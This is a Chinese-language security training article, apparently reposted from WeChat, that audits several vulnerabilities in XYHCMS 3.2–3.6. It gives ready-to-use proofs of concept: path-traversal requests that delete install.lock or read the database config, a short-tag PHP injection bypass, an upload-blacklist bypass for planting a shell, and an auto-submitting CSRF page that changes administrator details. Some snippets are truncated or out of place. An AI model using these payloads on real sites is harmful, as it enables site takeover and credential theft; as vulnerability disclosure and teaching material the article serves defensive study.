本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
高质量的安全文章,安全 offer 面试经验分享
尽在 # 掌控安全 EDU #
作者:掌控安全 - 柚子
影响版本是 XYHCMS 3.2,漏洞的成因是没有对删除的文件没有做任何限制,导致可以直接把安装文件删除。
打开
/App/Manage/Controller/DatabaseController.class.php
文件。
锁定 delSqlFiles() 函数。
- 进入后台
- 删除安装锁文件
方法一:get 方式
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSq
方法二:post 方式
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSqlFiles /batchFlag/1
POST数据:key[]= ../../../install/install.lock
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/downFile/file/..\\..\\..\\App\\Common\\Conf\\db.php/type/zip
- 接下来直接访问
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/install 重装 cms
影响版本是 XYHCMS 3.2,漏洞的成因是没有对下载的文件做任何限制。
找到
/App/Manage/Controller/DatabaseController.class.php 文件。
锁定 downfile() 方法下载函数。
这里并没有对下载的文件有限制,所以我们可以通过这段代码去构造 poc。
- 进入后台页面。
- 构造 poc
http://127.0.0.1/XYHCms_V3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
- 数据库配置文件就下载下来了。
XYHCMS 官网:http://www.xyhcms.com/
网站源码版本:XYHCMS V3.5(2017-12-04 更新)
程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html
漏洞文件位置:/App/Manage/Controller/TempletsController.class.php
第 59-83 行:
$ftype 文件类型;
$fname 文件名;
$file_path 文件路径
这段代码对提交的参数进行处理,然后判断是否 POST 数据上来
如果有就进行保存等,如果没有 POST 数据,将跳过这段代码继续向下执行。
通过这段代码,我们发现可以通过 GET 传入 fname,跳过前面的保存文件过程,进入文件读取状态。
问题就出现在这里,对 fname 进行 base64 解码,判断 fname 参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。
对 fname 未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。
我们可以通过 GET 方式提交 fname 参数,并且将 fname 进行 base64 编码,构造成完整的路径,读取配置文件信息。
登录网站后台
数据库配置文件路径:\App\Common\Conf\db.php
我们将这段组成相对路径,......\App\Common\Conf\db.php,
然后进行 base64 编码,
Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
[POC] 最后构造的链接如下:
if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {
$this->error('禁止输入php代码');
}
-
取消 base64 解码,过滤.(点) 等可能的恶意字符。
-
正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置。
XYHCMS 是一款开源的 CMS 内容管理系统。
XYHCMS 后台存在代码执行漏洞,攻击者可利用该漏洞在 site.php 中增加恶意代码,从而可以获取目标终端的权限。
代码中使用黑名单过滤 <?php 却忘记过滤短标签,导致后台系统设置 - 网站设置处可使用短标签在站点表述处 getshell。
按步骤安装好网站之后,找到../App/Runtime/Data/config/site.php 这个文件。
找到对应功能看他是怎么控制的。
很明显,我们要去找一个 System 相关的控制器。
这里可以锁定 App/Manage/Controller/SystemController.class.php 这个文件。
<?=phpinfo();?>
但是我们看到这里让开启了短标签,(PHP 默认是开启 PHP 短标签的,即默认情况下 short_open_tag=ON)<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的
找到后台—系统设置—网站设置
if (stripos($data[$key], '<?php') !== false || ($short_open_tag && stripos($data[$key], '<?') !== false) || preg_match($preg_param, $data[$key])) {
$this->error('禁止输入php代码');
}
就可以很简单的绕过限制。
官方已经在最新版修复,简单粗暴的过滤
if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {
$data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
$_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
$_no_exts = array('php', 'asp', 'aspx', 'jsp');
foreach ($_file_exts as $ext) {
if (in_array($ext, $_no_exts)) {
$this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');
}
}
}
<html>
<head>
<script>
function submit(){
var form = document.getElementById('test_form');
form.submit();
}
</script>
</head>
<body onload="submit()">
<script>history.pushState('', '', '/')</script>
<form action="http://xyh.com/xyhai.php?s=/Auth/editUser" method="POST" id="test_form">
<input type="hidden" />
<input type="hidden" />
<input type="hidden" />
<input type="hidden" name="department[]" value="1" />
<input type="hidden" name="department[]" value="4" />
<input type="hidden" name="department[]" value="3" />
<input type="hidden" name="group_id[]" value="1" />
<input type="hidden" />
<input type="hidden" [email protected]" />
<input type="hidden" />
</form>
</body>
</html>
此漏洞的影响范围是 XYHCMS 3.6。
漏洞形成原因是:对后缀过滤不严,未过滤 php3-5,phtml(老版本直接未过滤 php)。
找到
/App/Manage/Controller/SystemController.class.php 文件中第 246-255 行代码
if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {
$data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
$_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
$_no_exts = array('php', 'asp', 'aspx', 'jsp');
foreach ($_file_exts as $ext) {
if (in_array($ext, $_no_exts)) {
$this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');
}
}
}
会看到她不允许的文件后缀有:php,asp,aspx,jsp。
我们可以通过这个思路,上传 php3-5,phtml 文件后缀的文件就能够绕过限制。
-
进入后台
-
系统设置 -> 网站设置 -> 上传配置 -> 允许附件类型
-
添加类型 php3 或 php4 或 php5 或 phtml
-
点击下面的 水印图片上传上传以上后缀 shell
-
之后会在图片部分显示上传路径
此版本存在一个 csrf 漏洞,可以更改管理员的任何信息(姓名、电子邮件、密码等)。
poc:
<html>
<head>
<script>
function submit(){
var form = document.getElementById('test_form');
form.submit();
}
</script>
</head>
<body onload="submit()">
<script>history.pushState('', '', '/')</script>
<form action="http://xyh.com/xyhai.php?s=/Auth/editUser" method="POST">
<input type="hidden" />
<input type="hidden" />
<input type="hidden" />
<input type="hidden" name="department[]" value="1" />
<input type="hidden" name="department[]" value="4" />
<input type="hidden" name="department[]" value="3" />
<input type="hidden" name="group_id[]" value="1" />
<input type="hidden" />
<input type="hidden" [email protected]" />
<input type="hidden" />
</form>
</body>
</html>
- 修改前如下图所示:
- 修改后如下图所示:
回顾往期内容
扫码白嫖视频 + 工具 + 进群 + 靶场等资料
扫码白嫖**!**
还有免费的配套靶场、交流群哦!